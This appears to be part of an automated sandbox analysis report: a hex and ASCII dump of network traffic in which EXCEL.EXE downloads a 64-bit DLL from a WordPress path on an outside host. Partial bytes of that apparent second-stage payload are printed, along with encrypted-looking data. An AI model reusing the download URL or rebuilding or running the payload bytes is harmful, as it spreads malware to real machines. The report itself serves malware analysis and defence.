2022-05-23 07:19:17 UTC	334	IN	Data Raw: 31 31 30 62 0d 0a fa 2e 42 68 cc 36 43 48 e1 2f 67 5a bf 32 7b 25 04 fd 84 ec ec e3 ef 24 a8 72 e3 11 1d 5b 59 24 3d 4e ba 27 4e 6e bf dd 8c db 70 ef 14 00 6f f8 1d 7c 60 b1 65 cf 4b c9 6e 42 6a ec b0 35 76 c2 41 55 5a 64 66 a5 51 ec 3c 4e 53 ca 26 10 46 d4 29 13 7d b7 61 40 58 af 24 a8 73 e3 11 1d 5b c9 0b 4f 4e 5a 2f 4e 6e 16 b5 09 15 46 e7 34 00 6f 9b 9e 78 4d a0 2b 0e 58 c1 6e 42 6a 19 ef f1 5e 80 bc 25 4e 76 10 c6 9e 3f c2 6e 62 43 62 dc 0c 28 9a c8 f2 78 41 5c e2 de 63 21 49 e4 1d b0 2f 0f 54 89 0a 15 2f ad 1a 6c 54 1f 0d 04 66 c1 60 7b 11 b0 37 50 2b ee 5e 4c 20 6a 4e f7 0f ed 41 52 2b 73 09 b9 38 9f 01 56 57 c6 0f da 43 2e bd 32 7b 45 b6 79 18 55 5f 1e f2 9f a0 0e 00 65 b1 b8 92 92 44 c5 75 4f 5a d5 1c 18 25 d9 22 11 be db e7 78 69 58 50 63 ec ee Data Ascii: 110b.Bh6CH/gZ2{%$r[Y$=N'Nnpo\|`eKnBj5vAUZdfQ<NS&F)}a@X$s[ONZ/NnF4oxM+XnBj^%Nv?nbCb(xA\c!I/T/lTf`{7P+^L jNAR+s8VWC.2{EyU_eDuOZ%"xiXPc
2022-05-23 07:19:17 UTC	338	IN	Data Raw: 31 33 38 32 0d 0a 95 2b c8 1f b4 45 9f a2 72 85 2e f6 67 6b a0 20 95 23 b5 53 39 ac 6e d0 9d 8f 33 6b e3 1b f4 b1 3d 30 cd 23 ee 2f 5f f8 92 1a 8f 2d 6f 25 ec bd 2c 66 5a d0 97 e3 fa 44 35 7e ee 2f 5e 45 72 e6 83 02 90 4a 62 3b f2 8f 61 37 35 bd 9e 81 e2 6c 65 2e fe cf 57 39 6b aa 93 45 e0 3a 6b 65 da da 3e 4d 31 f7 9d 68 03 53 79 66 dc 97 2b 6f 2a e9 b3 50 4c 54 51 63 b0 15 44 35 71 ad 22 7c 35 22 77 44 6a 2b ce 37 a4 3b d4 aa f6 59 18 15 61 2a ec a9 e0 16 00 25 3b ea 5f 4c 70 66 54 6c 6a 99 0c 18 35 22 ac 4e 40 e5 33 5d 11 5d d1 67 4b 52 47 4a 56 e5 9b 3d 48 4d 73 c2 41 55 12 02 e2 56 76 a0 3c 4e 17 d8 04 0b 76 de 11 13 41 68 9f 46 2b e6 11 05 0e fe 97 28 2b ec 2c 24 32 b6 52 43 5e c9 78 69 4d df 45 bf db 34 3d 4d 24 08 a2 2b 0e 14 c9 5e 42 26 c3 5d c6 Data Ascii: 1382+Er.gk #S9n3k=0#/_-o%,fZD5~/^ErJb;a75le.W9kE:ke>M1hSyf+oPLTQcD5q"\|5"wDj+7;Ya%;_LpfTlj5"N@3]]gKRGJV=HMsAUVv<NvAhF+(+,$2RC^xiME4=M$+^B&]
2022-05-23 07:19:17 UTC	343	IN	Data Raw: 63 33 62 0d 0a 77 43 35 71 22 ef 5f ce 37 50 f1 2d 6b 0f ef a8 52 af 65 37 35 b7 a6 2d e0 3c 75 68 f1 57 4d 70 e0 50 48 49 c5 d2 36 a9 16 cb d0 65 f6 32 42 48 ed 95 77 69 9f 14 0f 63 48 5c 46 2a a1 1e 75 7c 16 b8 48 35 b6 2e 42 4c 10 cf 6a 78 ad 27 67 52 7f df 94 65 7b be fd e4 20 4f 57 50 9c 85 db d4 7d 4f 1b 68 8f 4e 31 ea 1e 7a 78 fb 70 f8 76 ed 04 00 6f f0 2d 7c 60 ec 2b 0e 28 41 de 99 78 96 68 11 8a bf 3c 06 ad 22 7c 7d 1c 17 75 52 a4 07 46 7c 8b a3 fc 5f f2 78 41 54 12 69 f8 21 11 60 71 09 3e a2 2c 24 7e b0 27 4e 6e f0 c4 6a f5 f7 12 64 14 a5 4f 4c ac db 6f 4b 1a e1 0c 0e 56 d1 1d 48 0d fd 07 11 31 59 ae 19 cc 7a a0 3c 4e 53 fa ba a8 76 de 11 13 05 ef 81 44 05 e6 11 05 4a 09 a1 87 05 a0 2c 24 7e b8 2f 4e 6e c3 70 69 79 fd 62 64 17 97 f0 63 9f 14 0f Data Ascii: c3bwC5q"_7P-kRe75-<uhWMpPHI6e2BHwicH\F*u\|H5.BLjx'gRe{ OWP}OhN1zxpvo-\|`+(Axh<"\|}uRF\|_xATi!`q>,$~'NnjdOLoKVH1Yz<NSvDJ,$~/Nnpiybdc
2022-05-23 07:19:17 UTC	346	IN	Data Raw: 63 32 33 0d 0a 7b 45 4f 62 3b f9 18 67 37 35 33 e1 fa 6d 67 65 a0 81 8d b2 3c 6b 24 ec 2b 4c 31 6b eb a5 7d 05 4b 31 79 e2 c9 25 5f 79 e8 a3 61 1f 68 2a 67 cc e2 66 5a 51 ed ce 22 dd 32 71 65 e2 fa 45 72 67 f9 91 10 94 6a 34 79 da 30 31 35 3c a2 21 98 61 7d 80 7a 9c 5c f2 56 a6 25 8b 8b f0 0e 99 55 c9 71 be a7 10 39 15 af 12 8a 9e b9 91 c1 6b a3 3d bb ab 13 a9 80 c7 09 75 84 70 9e 32 39 b5 45 f3 22 97 28 46 bc 9d b5 33 b0 5c 3c ca c3 e4 11 84 f2 65 cc 7a e3 10 ce d1 61 31 00 8f 5c 9c 6f df 3d cb 62 cd 75 66 04 af 12 8a 21 d3 57 a0 3a dd e3 05 c5 2e d3 15 48 15 9e d3 88 8c 95 2a d3 a5 3a 90 a0 71 b8 c2 81 a3 80 5a 65 b6 f6 68 fb 63 6b 23 ee 64 7d 68 de 6c 0c 6f e3 4d 45 d8 77 95 a1 b7 74 ce f6 4e 2f 7b db 44 a2 e8 bb d0 87 94 d5 e9 8b d9 4c 57 51 85 37 89 Data Ascii: c23{EOb;g753mge<k$+L1k}K1y%_yahgfZQ"2qeErgj4y015<!a}z\V%Uq9k=up29E"(F3\<eza1\o=buf!W:.H:qZehck#d}hloMEwtN/{DLWQ7
2022-05-23 07:19:17 UTC	349	IN	Data Raw: 32 31 64 32 0d 0a ba 35 67 a3 3a a1 67 16 54 25 79 37 78 6a 62 66 69 34 53 6b 47 37 10 3d 7d 64 71 97 7d c1 6c f4 41 f9 79 5b 79 60 5e 61 6b 6a 5f 52 35 4d 2b 12 46 40 3e 6b 67 69 42 51 31 6f 24 88 44 5a 6d 0a 51 6c 34 62 4b 35 65 0e 68 58 51 26 6a 78 7e 57 4f 62 20 e4 4f 15 36 2c 38 65 7d 6a 28 65 2b 4a 2d 05 38 70 22 68 1b 3a 11 6b 71 3a 57 3c 56 05 68 66 5b 25 43 79 79 08 50 2b 6e 20 6c 48 20 52 52 51 66 67 70 33 34 6a 6c 66 43 44 e3 67 74 1a 68 23 68 04 7f 0f 64 2b 39 3c 79 00 78 67 79 75 68 24 49 0d 7b 2b 74 92 56 c1 7d 8a 4a 98 2e 8d 21 06 67 5f 2c 5f 66 68 fd 50 3b 9f 24 88 44 5a 6d 3a 5b 5c 3c 26 42 21 75 6a 72 6c 4c 72 73 2a 7a 13 42 7b 33 76 46 64 03 35 36 85 6c 1b 60 05 27 4a 21 05 39 6b 2a 7c 04 4e 25 5f 62 5e 5c 6e 5d 41 77 71 46 24 48 1d 60 Data Ascii: 21d25g:gT%y7xjbfi4SkG7=}dq}lAy[y`^akj_R5M+F@>kgiBQ1o$DZmQl4bK5ehXQ&jx~WOb O6,8e}j(e+J-8p"h:kq:W<Vhf[%CyyP+n lH RRQfgp34jlfCDgth#hd+9<yxgyuh$I{+tV}J.!g_,_fhP;$DZm:[\<&B!ujrlLrszB{3vFd56l`'J!9k\|N%_b^\n]AwqF$H`
2022-05-23 07:19:17 UTC	358	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	159.203.19.2	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 07:19:25 UTC	358	OUT	GET /wp-admin/iMc/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: airliftlimo.com Connection: Keep-Alive
2022-05-23 07:19:25 UTC	358	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:19:21 GMT Server: Apache/2 Set-Cookie: 628b35791d77a=1653290361; expires=Mon, 23-May-2022 07:20:21 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 23 May 2022 07:19:21 GMT Expires: Mon, 23 May 2022 07:19:21 GMT Content-Disposition: attachment; filename="klJrMZJhgldiJr6j0XWPeZOiGs.dll" Content-Transfer-Encoding: binary Content-Length: 365056 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: application/x-msdownload
2022-05-23 07:19:25 UTC	359	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
2022-05-23 07:19:25 UTC	366	IN	Data Raw: df c7 85 b4 08 00 00 65 37 35 d7 c7 85 b8 08 00 00 40 20 e0 e2 c7 85 bc 08 00 00 7d 20 7a 24 c7 85 c0 08 00 00 be 1a ee e2 c7 85 c4 08 00 00 1d 06 0a bc c7 85 c8 08 00 00 2a 4a b5 5a c7 85 cc 08 00 00 78 c6 b4 6e c7 85 d0 08 00 00 67 40 24 da c7 85 d4 08 00 00 b0 d1 18 50 c7 85 d8 08 00 00 2b 6f 6e 67 c7 85 dc 08 00 00 0d ea 22 d3 c7 85 e0 08 00 00 d4 74 34 76 c7 85 e4 08 00 00 43 c2 77 6a c7 85 e8 08 00 00 66 58 41 06 c7 85 ec 08 00 00 6b 39 65 d9 c7 85 f0 08 00 00 ab 6b 70 ff c7 85 f4 08 00 00 da 7d 36 35 c7 85 f8 08 00 00 3c ee 2a 83 c7 85 fc 08 00 00 2b e8 ac 62 c7 85 00 09 00 00 25 55 39 e0 c7 85 04 09 00 00 7d 84 48 4d c7 85 08 09 00 00 fa 94 3f 6e c7 85 0c 09 00 00 47 8b 0a 37 c7 85 10 09 00 00 33 65 b4 6c c7 85 14 09 00 00 dc bf 41 1c c7 85 18 09 Data Ascii: e75@ } z$JZxng@$P+ong"t4vCwjfXAk9ekp}65<+b%U9}HM?nG73elA
2022-05-23 07:19:25 UTC	382	IN	Data Raw: 75 03 cc 33 c0 48 8b 44 24 40 8b 40 28 89 44 24 28 48 8d 05 5d c9 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 f5 42 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 04 0f 85 a9 00 00 00 48 8b 44 24 40 8b 40 1c c1 f8 10 25 ff ff 00 00 48 8b 4c 24 40 48 83 c1 30 48 8b 54 24 40 48 8b 52 20 48 89 54 24 38 89 44 24 30 48 89 4c 24 28 48 8d 05 c0 c8 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 8c 42 00 00 83 f8 01 75 03 cc 33 c0 48 83 3d 04 5f 02 00 00 74 38 48 8b 44 24 40 48 83 c0 30 ba 01 00 00 00 48 8b c8 ff 15 4b b6 01 00 85 c0 75 1d 48 8b 44 24 40 48 83 c0 30 48 8b 4c 24 40 48 8b 51 20 48 8b c8 ff 15 cc 5e 02 00 eb 0f 48 8b 54 24 40 48 8b 4c 24 68 e8 23 01 00 00 e9 cf 00 00 00 48 8b 44 24 40 83 78 1c 01 75 50 48 Data Ascii: u3HD$@@(D$(H]HD$ E3E333Bu3HD$@@%HD$@@%HL$@H0HT$@HR HT$8D$0HL$(HHD$ E3E333Bu3H=_t8HD$@H0HKuHD$@H0HL$@HQ H^HT$@HL$h#HD$@xuPH
2022-05-23 07:19:25 UTC	398	IN	Data Raw: 44 0a 1c 8b 84 24 70 05 00 00 83 e8 20 8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 88 84 0a 1d 01 00 00 eb 17 8b 84 24 70 05 00 00 48 8b 8c 24 b0 05 00 00 c6 84 01 1d 01 00 00 00 e9 f3 fe ff ff 48 8b 8c 24 90 05 00 00 48 33 cc e8 50 88 ff ff 48 81 c4 a8 05 00 00 c3 cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 2d 3d 02 00 00 75 14 b9 fd ff ff ff e8 b9 f1 ff ff c7 05 17 3d 02 00 01 00 00 00 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 38 e8 e3 00 00 00 8b 4c 24 40 89 08 8b 4c 24 40 e8 14 00 00 00 89 44 24 20 e8 9b 00 00 00 8b 4c 24 20 89 08 48 83 c4 38 c3 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff c0 89 04 24 48 63 04 24 48 83 f8 2d 73 27 48 63 04 24 48 8d 0d 92 11 02 00 8b 04 c1 39 44 24 20 75 11 48 63 04 24 48 8d 0d Data Ascii: D$p $pH$$pH$H$H3PHH(=-=u=3H(L$H8L$@L$@D$ L$ H8L$H$$$Hc$H-s'Hc$H9D$ uHc$H
2022-05-23 07:19:25 UTC	414	IN	Data Raw: 84 24 90 00 00 00 48 89 44 24 48 e8 11 56 ff ff 48 8b 80 e0 00 00 00 48 89 44 24 58 48 8d 54 24 40 48 8b 84 24 80 00 00 00 8b 08 ff 54 24 58 c7 44 24 50 00 00 00 00 eb 00 8b 44 24 50 48 83 c4 78 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 44 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 48 c7 44 24 38 00 00 00 00 48 8b 44 24 58 8b 40 0c 89 44 24 28 48 8b 94 24 80 00 00 00 48 8b 4c 24 58 e8 d1 50 00 00 89 44 24 30 83 7c 24 28 00 76 02 eb 05 e8 ff e4 ff ff 48 8b 44 24 78 c7 00 ff ff ff ff 48 8b 44 24 70 c7 00 ff ff ff ff 8b 44 24 28 89 44 24 2c eb 0a 8b 44 24 2c ff c8 89 44 24 2c 83 7c 24 2c 00 76 4f 48 8b 44 24 58 48 63 40 10 48 8b 8c 24 80 00 00 00 48 8b 49 08 48 03 c8 48 8b c1 8b 4c 24 2c ff c9 8b c9 48 6b c9 14 48 03 c1 48 89 Data Ascii: $HD$HVHHD$XHT$@H$T$XD$PD$PHxDL$ DD$HT$HL$HHHD$8HD$X@D$(H$HL$XPD$0\|$(vHD$xHD$pD$(D$,D$,D$,\|$,vOHD$XHc@H$HIHHL$,HkHH
2022-05-23 07:19:25 UTC	430	IN	Data Raw: 00 00 00 00 8b 44 24 60 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 a7 4a 01 00 48 89 44 24 20 45 33 c9 41 b8 42 01 00 00 48 8d 15 b2 49 01 00 b9 02 00 00 00 e8 98 89 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3e e8 04 81 ff ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 42 01 00 00 4c 8d 05 78 49 01 00 48 8d 15 09 4b 01 00 48 8d 0d 4a 4a 01 00 e8 15 93 ff ff b8 ff ff ff ff e9 ca 00 00 00 b8 ff ff ff ff e9 c0 00 00 00 48 83 bc 24 98 00 00 00 ff 0f 84 94 00 00 00 48 81 bc 24 98 00 00 00 ff ff ff 7f 0f 84 82 00 00 00 8b 44 24 30 ff c0 48 98 48 3b 84 24 98 00 00 00 73 70 8b 44 24 30 ff c0 48 98 48 8b 8c 24 98 00 00 00 48 2b c8 48 8b c1 48 39 05 81 85 01 00 73 0e 48 8b 05 78 85 01 00 48 89 44 24 68 eb 1b 8b 44 24 30 ff c0 48 98 48 8b 8c 24 98 00 00 Data Ascii: D$`D$@\|$@u.HJHD$ E3ABHIu3\|$@u>"HD$ ABLxIHKHJJH$H$D$0HH;$spD$0HH$H+HH9sHxHD$hD$0HH$
2022-05-23 07:19:25 UTC	446	IN	Data Raw: 74 15 48 83 bc 24 a8 00 00 00 00 76 0a c7 44 24 50 01 00 00 00 eb 08 c7 44 24 50 00 00 00 00 8b 44 24 50 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 8c ed 00 00 48 89 44 24 20 45 33 c9 41 b8 12 00 00 00 48 8d 15 67 0d 01 00 b9 02 00 00 00 e8 7d 49 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3e e8 e9 40 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 12 00 00 00 4c 8d 05 2d 0d 01 00 48 8d 15 26 10 01 00 48 8d 0d 2f ed 00 00 e8 fa 52 ff ff b8 16 00 00 00 e9 1a 05 00 00 48 83 bc 24 b0 00 00 00 00 0f 85 1d 01 00 00 48 8b 84 24 a0 00 00 00 c6 00 00 48 83 bc 24 a8 00 00 00 ff 74 68 48 81 bc 24 a8 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 a8 00 00 00 01 76 4f 48 8b 84 24 a8 00 00 00 48 ff c8 48 39 05 70 45 01 00 73 0e 48 8b 05 67 45 01 00 48 89 44 24 58 Data Ascii: tH$vD$PD$PD$PD$@\|$@u.HHD$ E3AHg}Iu3\|$@u>@HD$ AL-H&H/RH$H$H$thH$tZH$vOH$HH9pEsHgEHD$X
2022-05-23 07:19:25 UTC	462	IN	Data Raw: 24 40 2b c8 8b c1 48 8b 8c 24 70 3d 00 00 48 33 cc e8 8b 88 fe ff 48 81 c4 88 3d 00 00 c3 cc cc cc 48 89 4c 24 08 48 83 ec 48 48 83 7c 24 50 00 75 2e 48 8d 05 b8 c6 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 b3 d7 00 00 b9 02 00 00 00 e8 79 09 ff ff 83 f8 01 75 03 cc 33 c0 8b 05 1f 2a 01 00 ff c0 89 05 17 2a 01 00 48 8b 44 24 50 48 89 44 24 30 41 b9 3a 00 00 00 4c 8d 05 44 d7 00 00 ba 02 00 00 00 b9 00 10 00 00 e8 1d 98 fe ff 48 89 44 24 38 48 8b 44 24 30 48 8b 4c 24 38 48 89 48 10 48 83 7c 24 38 00 74 21 48 8b 44 24 30 8b 40 18 83 c8 08 48 8b 4c 24 30 89 41 18 48 8b 44 24 30 c7 40 24 00 10 00 00 eb 31 48 8b 44 24 30 8b 40 18 83 c8 04 48 8b 4c 24 30 89 41 18 48 8b 44 24 30 48 83 c0 20 48 8b 4c 24 30 48 89 41 10 48 8b 44 24 30 c7 40 24 02 00 Data Ascii: $@+H$p=H3H=HL$HHH\|$Pu.HHD$ E3A.Hyu3**HD$PHD$0A:LDHD$8HD$0HL$8HHH\|$8t!HD$0@HL$0AHD$0@$1HD$0@HL$0AHD$0H HL$0HAHD$0@$
2022-05-23 07:19:25 UTC	478	IN	Data Raw: 44 24 40 48 ff c0 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40 0f be 00 83 f8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff c0 89 44 24 68 83 7c 24 6c 00 0f 85 47 02 00 00 8b 44 24 50 83 e0 40 85 c0 74 5d 8b 44 24 50 25 00 01 00 00 85 c0 74 14 b8 2d 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 eb 3c 8b 44 24 50 83 e0 01 85 c0 74 14 b8 2b 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 eb 1d 8b 44 24 50 83 e0 02 85 c0 74 12 b8 20 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 8b 44 24 68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 28 05 00 00 8b 44 24 50 83 e0 0c 85 c0 75 20 4c 8d 8c 24 b0 04 00 00 4c 8b 84 24 00 06 00 00 8b 94 24 28 05 00 00 66 b9 20 00 e8 e1 03 00 Data Ascii: D$@HHD$@D$P%t3\|$htHD$@0tHD$@HHD$@HD$@0D$hD$h\|$lGD$P@t]D$P%t-fD$TD$\<D$Pt+fD$TD$\D$Pt fD$TD$\D$hL$X++D$\$(D$Pu L$L$$(f
2022-05-23 07:19:25 UTC	494	IN	Data Raw: 00 05 00 00 c0 0b 00 00 00 00 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 93 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 b4 02 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 b5 02 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 09 00 00 00 c0 00 00 00 0c 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 6d 6c Data Ascii: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ml
2022-05-23 07:19:25 UTC	510	IN	Data Raw: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 00 3d 00 00 00 00 00 00 00 5f 00 73 00 65 00 74 00 5f 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 65 00 72 00 72 00 6d 00 6f 00 64 00 65 00 2e 00 63 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `abcdefghijklmnopqrstuvwxyz{\|}~=_set_error_modef:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c("Invalid error_mode", 0)
2022-05-23 07:19:25 UTC	526	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 00 00 00 Data Ascii: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
2022-05-23 07:19:25 UTC	542	IN	Data Raw: 71 a0 9a b6 41 18 21 1c ea e3 ae 65 f1 68 71 7d 2f a0 2c 24 0e ba 3f 4e 16 c3 70 69 7d 9e 49 b1 25 5f 38 e2 9c 18 a0 a4 62 6b 8b 66 ed 9a 1d 47 f6 3e 78 ed 3c 65 21 9d 08 f7 a7 0c 70 2b c8 b1 7c 81 85 21 0f 1c 49 66 a2 6a a4 2d de bb 6c d8 3d 61 62 53 c0 3c dd ac 2e 7a 00 cd a5 23 76 de 0f c8 9b 37 e8 2c 74 63 f1 7a 2f d1 ab 12 7e 19 0d 8d 23 da f2 35 4e 36 a3 58 4c 67 f9 1e 47 13 54 30 d0 f6 e4 43 11 6c a8 7d f3 ce a2 65 5e 64 02 d3 5b 2b e3 4c 6a 71 9c 8b e6 89 e2 7c 04 b7 8c 45 ad 0b 5d 29 99 34 0f 2f 22 e9 3c 0e 26 9f 59 1e 35 b1 07 11 3d 52 b3 da 45 b3 03 5c 26 6b c2 16 10 3a e1 bc ea b7 fb 21 40 2f c2 16 b7 7a a5 11 1d 2f 70 85 00 4e ba 27 4e 1a bf dd 8c db 72 ef 14 00 1b f8 1d 7c 14 fe 4a 2f 68 c3 6e 42 1e da 28 11 3a c8 71 55 2a ed 1c 61 22 23 f3 Data Ascii: qA!ehq}/,$?Npi}I%_8bkfG>x<e!p+\|!Ifj-l=abS<.z#v7,tcz/~#5N6XLgGT0Cl}e^d[+Ljq\|E])4/"<&Y5=RE\&k:!@/z/pN'Nr\|J/hnB(:qU*a"#
2022-05-23 07:19:25 UTC	558	IN	Data Raw: 35 3c a2 20 4f 53 00 02 59 24 d4 4d 4f 1f 2e fe 09 9c ea 2e 7a 7c b9 eb 31 76 e7 34 00 6b 75 55 31 fd ec ea 22 6a 48 2a fb 7f 37 6c be fb 4b 37 71 6a 91 b9 84 98 61 f1 ff 6b 41 62 34 f7 ea 6d 35 35 3c be 73 2c 2f a4 84 72 26 55 39 67 aa dd 08 4c 31 6b df 71 39 5a c6 b4 7e 64 40 24 d4 3d 4d 6c db 6f 4b 1a e3 1c 0e 5e b2 23 24 35 76 0b be a9 22 e5 a0 ba 7d e3 2a 94 9c bc da 8d 21 56 65 de 89 c1 9a 9b 23 ee 19 05 22 9c 87 78 62 2b 81 ad b3 ce 94 ad 1a 6c 0c 52 62 71 66 0c a9 12 d9 21 d3 9b aa 2b 0e 58 cd 09 66 5a 90 08 11 46 48 b4 05 4e 56 f7 54 c5 5c bf ef 6b 41 62 34 2c 52 bd 37 b4 b9 6d 66 6b 67 1f 21 85 db d4 8c 63 29 68 00 32 ba 35 cc df fd 34 4f 31 76 0c 9b a7 f9 be 2d 7c 64 d6 68 0e 68 c9 66 42 6e 73 ce e6 0d c2 41 55 5e 84 1e b3 09 ec 3c 4e 57 07 e9 Data Ascii: 5< OSY$MO..z\|1v4kuU1"jH7lK7qjakAb4m55<s,/r&U9gL1kq9Z~d@$=MloK^#$5v"}!Ve#"xb+lRbqf!+XfZFHNVT\kAb4,R7mfkg!c)h254O1v-\|dhhfBnsAU^<NW
2022-05-23 07:19:25 UTC	574	IN	Data Raw: 5f 26 92 c1 3e 0f 97 78 ba c3 2c 03 8c 70 aa 82 58 0c b5 09 15 42 27 f8 b0 82 d3 33 d9 24 0f 5b d1 9f 89 af e7 2e 75 58 ea e5 81 b0 fa 2e 42 6c ce 36 43 48 82 9f f4 63 34 3e d6 60 4e 2a 3e 65 2c e0 ac 2d a2 be 74 0e 71 94 cb a4 cc 06 b2 87 22 99 0c 18 7d 16 b3 6b 40 e3 1b 5d 5d 42 46 2c 6f ed 2c 6c 12 5b 5f 5e 6c f2 32 67 6d c1 45 0b 58 fd d1 53 46 58 e2 0f 46 6c 4c da 4b 9f b4 78 41 3c c4 c1 9a de f1 68 71 61 9c ca 43 ca 9f d8 68 a0 9f a1 3a c4 7d 52 3e c1 50 7b 21 6d a1 c4 2a a8 6e 4c 20 71 bd 0b 51 ad 59 52 2b 25 f0 1e 42 30 a3 45 6f 78 ad 27 67 02 ff 06 d9 65 f6 51 18 05 6d ea 13 41 41 0c 24 bc 35 ac 6f 4c 50 9f af 